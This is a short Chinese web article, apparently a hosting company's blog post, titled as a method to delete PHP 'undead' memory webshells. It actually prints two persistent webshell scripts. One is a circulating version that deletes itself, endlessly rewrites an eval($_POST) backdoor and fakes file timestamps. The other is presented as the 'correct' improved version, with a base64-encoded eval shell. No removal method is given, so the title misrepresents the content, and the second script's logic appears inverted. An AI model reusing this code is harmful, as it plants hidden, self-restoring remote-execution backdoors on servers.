您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)刪除php不死馬的方法,小編覺得挺實(shí)用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
什么是不死馬?
內(nèi)存馬,通俗講就是不死馬,就是會運(yùn)行一段永遠(yuǎn)不退出的程序常駐在PHP進(jìn)程里,無限執(zhí)行。
生成過程
不死馬.php → 上傳到server → server執(zhí)行文件 → server本地?zé)o限循環(huán)生成 (一句話.php)
網(wǎng)上流傳的不死馬
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '2.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .2.php'); usleep(5000); } ?>
網(wǎng)上流傳的不死馬,while里面只是并沒有判斷了這個文件是不是存在,那么我只需要把這個文件中的shell注釋掉就可以繞過你的內(nèi)存木馬了。
正確的姿勢應(yīng)該是這樣 :
Copy<?php ignore_user_abort(true); set_time_limit(0); $file = 'c.php'; $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'); while(true) { if(md5(file_get_contents($file))===md5($code)) { file_put_contents($file, $code); } usleep(50); }?>
關(guān)于刪除php不死馬的方法就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。